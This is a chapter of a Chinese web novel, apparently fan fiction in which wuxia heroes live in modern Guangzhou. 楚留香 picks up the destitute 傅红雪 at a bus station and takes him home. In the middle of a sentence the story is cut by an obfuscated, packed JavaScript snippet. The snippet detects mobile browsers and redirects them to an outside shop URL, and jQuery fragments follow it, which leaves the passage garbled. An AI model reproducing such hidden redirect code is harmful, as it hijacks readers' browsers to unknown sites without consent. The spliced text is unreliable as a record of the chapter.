41.接待
    傅红雪从兰州出发时,兜里揣着市公安局负责人给的三千块钱,一路行来,钱几乎用完,打摩的这一百已经是他身上最后一张整票了。

    好在他已经到了广州。

    兰州市公安局是很够意思的,为了能让他旅程舒服点,给买了张飞机票,还是头等舱,只不过傅红雪没去。

    因为上飞机要过安检,安检不让带管制刀具。

    十九年里,傅红雪早已跟他手中的黑刀融为一体,密不可分,无论警方用什么样的话术,他都一言不发,紧紧地攥着他手中的刀。

    哪怕他看完了《边城浪子》,也只是握刀的手多出几条青筋而已。

    他不肯放开他的刀,就像不肯放开他活下去的意义,哪怕这些人告诉他,他活下去的意义本就是荒诞的不能再荒诞的笑话。

    以复仇为姓,以父亲被杀死那天,被血染红的鲜血为名,母亲说,他是为了复仇而生的,十九年里一刻不停的训练折磨通通都是为了报父亲的仇恨,结果现在告诉他,死去的那个人根本不是他的父亲,他根本就是一个连父母都不知道是谁的野种。

    多可笑,傅红雪听完着实笑了一阵,握刀的手仍没有松开半分。

    “算了,我们也不为难你,你也别为难我们,你的身份不能公开,凭我们的权限,也没办法单给你开一条专线,总之,情况就是这么个情况,你愿意过去呢,就过去,不愿去也可以留在这儿打杂,看你自己。”

    傅红雪想了一下,决定去广州。

    他虽然还很年轻,但也看得出这里的人并不是真的想让他留下,反正他现在已经无处可去,也无家可归,更无事可做,那就去广州吧,用他自己的方法。

    负责人给了他一部二手手机,简单帮他注册了一些软件,并联系上了公寓那边,手机里还里装了定位器,算是有个保障,人不至于像王怜花似的丢了。

    傅红雪对这个时代两眼一抹黑,本身性格就内敛,跟路人打听怎么去广州,路人当他是精神病,好不容易遇上热心肠的人愿意指点,让他去长途客运站买票,结果到了客运站,连门都不让进。

    手机也不太会使,好不容易弄出个导航,结果被导上了高速,在高速上走了一整天,搭了一辆路过的顺风车,被好心的司机送到了成都。

    到了成都之后,他总算能像个现代人一样打车、住旅店、再步行上高速,被交警拦……就这么一路南下。

    路过重庆的时候,他甚至有了一辆电动车,骑了半座城,车没电就卖了二手,后来又有了一辆自行车,自行车骑得比较久,可也只带他到桂林就爆胎了,他把自行车送给了一个捡垃圾的老太太,老太太请他吃了碗米粉。

    就这么着,花了半个月的时间,连步行带坐车的,傅红雪终于来到了广州市。

    此刻,他站在客运站门前的公交站牌下,听着摩的师傅跟他说:

    “这也没多远了,现在地铁也关门了,客运站还不如你进,这么着,我去前面加个油,直接给你送到地方,两个小时怎么也到了,你再给个三百就行。”

    傅红雪抿抿唇,道:“我没有钱了。”

    “那你咋整啊?总不能走过去吧?要不你给你朋友打电话,让他来接你?”

    傅红雪手机的通讯录里只有姜去寒的手机号。

    ……

    姜去寒人都到机场了,飞机马上起飞,实在脱不开身,只能给楚留香打电话让他接人,又把傅红雪的身世简单跟楚留香说了一遍,叹着气道:“他真的特别可怜,性格还特别轴,自卑又自傲,不是很好接触,我是没辙了,只好拜托你好好照顾他。”

    楚留香感慨道:“确实是个可怜人,只是这样的人无论多么可怜,一定不希望别人来同情他,那种同情的眼光才是杀人的刀。”

    “你说得很对,我给他申请人才公寓入住名额的时候,政府还给他补贴了三百块钱的残疾人生活补助,生活费是月初发钱,这点补贴是月末发放,我都不知道怎么给他。”

    “放心,我会处理好的。”

    “那辛苦你了楚哥,我向公司申请了哈尔滨那边的一个项目,大概要年底才能回去,唉,有时候想想,明明这些都是我的责任,我却把责任都推给你,感觉怪对不起你的,等我到地方,给你寄一些特产过去吧。”

    说着,姜去寒声音里多了几分雀跃,她看过天气预报,这个季节哈尔滨已经下雪了。

    她一个土生土长的广东人,这辈子都没见过雪,握着行李箱拉杆,心里已经开始幻想路灯下翩翩飞舞如梦似幻的雪花了。

    楚留香也不推辞,笑道:“听说那边的铁锅炖大鹅很好吃,不知能不能带过来?”

    “能!放心吧!”

    挂了电话,楚留香就接到了姜去寒发过来的地址,一导航,发现傅红雪离他现在的位置居然很近。

    “老板,麻烦再给我一只头盔和护具,我要去接个朋友。”

    他正在车行提车。

    车是叶孤城订的,与之前那辆款式一样,都是金属加纯白车壳,但比原来的贵两万块钱,说是性能更好。

    性能如何楚留香看不出来,只能看出这台比之前那个大了一圈,车能坐两个人。

    拿到车再看一眼时间,已经快一点了,唯恐傅红雪久等,跨上车,一拧把手,发动机嗡嗡作响,路灯将前路照得分明,好像湿热的空中里下了场白茫茫的雪。

    路上又给叶孤城打去了电话,告诉他车拿到了,还要顺路去接一个新人回来,让他在601预备一顿接风宴。

    叶孤城只回了三个字。

    “知道了。”

    不到二十分钟,楚留香就到了客运站,路牌下,黑衣少年站在那里,一头长发高高束起,白色的发带有些脏了,头发也有些乱,长袖黑衣上已析出了一层白,而他正仰头看着正当空的月亮。

    也不知道是不是穿了黑衣的缘故,他看起来比叶孤城还白,白得几乎透明,五官虽然还很青涩,却已有了锐利冷硬的线条。

    楚留香直接把车骑过去,摘下头盔一甩头发:“傅红雪?”

    傅红雪点点头。

    楚留香露齿一笑,下了车,从车座下面

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233486|144765||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    拿出一只头盔和护具丢给他:“上车,我带你回家。”

    傅红雪有些错愕:“回家?”

    “我们在这里的家。”

    傅红雪似乎想说些什么,最终还是把话咽了下去。

    他学着楚留香的样子穿戴好头盔和护具,迈出一步,另一条腿在地上拖过去,一步步挪着到了车前,坐到了机车上。

    楚留香没有露出任何异样的神色,笑容也没有任何变化,道:“坐稳了,这台车跑起来很快,你可以扶住我。”

    傅红雪的手放在自己的腿上,规矩得很,用行动拒绝了楚留香的提议,没想到一个起步,他身子不由自主地向前撞去。

    车子的确是快,跟刚才坐的那辆摩的完全不是一个感觉,傅红雪不得不弓着腰,一只手紧紧扣住车座下方,燥热的空气变成了流动的风。

    “你叫什么名字?”傅红雪问。

    “楚留香。”楚留香用一种略带自豪的语气道:“楚留香传奇里的楚留香。”

    傅红雪没再说话了。

    好在楚留香已经充分掌握了跟这类人相处的经验,只要主动一点,要不了多久,再冰冷的人,也会融化成水的。

    其实冰和冰也不同,有人是万丈苍穹上的冰峰叠嶂,有人却是一场霜降后被迫冰住的水渠。

    相比于叶孤城和西门吹雪眼高于顶,目下无尘,这个少年的沉默和孤独实在得叫人心疼,不过没关系,楚留香想,友情会治愈一切的。

    机车在高速上飞驰,他的声音就像夜风一样暖。

    “你打过疫苗了没有?除了新冠疫苗之外,还有一些别的预防针要打,打了针就不会生病了,不过要先预约,这个交给我好了。”

    “明天我带你去上户口,办银行卡,你要不要也改一个名字?一个新的名字往往代表了一次新生。”

    “如果你真想改的话。最好赶快拿个主意。”楚留香的笑多了些无奈:“这里的人起名的水平都很糟,我那个朋友到现在都不太愿意出示身份证,你叫他一声梁满城,他能难受好久。”

    “我想你一定在路上走了很久,已经很疲惫了,我已经叫人为你收拾好了房间,也准备了酒菜,足够洗去这一路的风尘。”

    傅红雪虽然没有说话,可紧绷的身体已经慢慢放松下来。

    ……

    叶孤城不喜欢陪人喝酒,他也从不饮酒,但为了楚留香,倒是可以破例一次。

    广州市里,营业到凌晨一点的商铺大把,但旧镇里就几乎没有了,外卖里看了一圈,也就剩个肯德基还能送。

    问题是,他已经开了红酒,配上一桌子炸鸡蛋挞薯条……白云城主丢不起这个脸。

    幸好公寓里还有一个厨子。

    西门吹雪睡得很沉,以至于门锁被撬开,宿敌站在了床前都没有发现。

    他是被床头的那只小熊砸醒的。

    迷迷糊糊地睁开眼,就见叶孤城开了灯,把那个印着他名字的围裙丢给他,用一种理所当然的语气道:

    “楚留香带了新人回来,你去做一桌吃的。”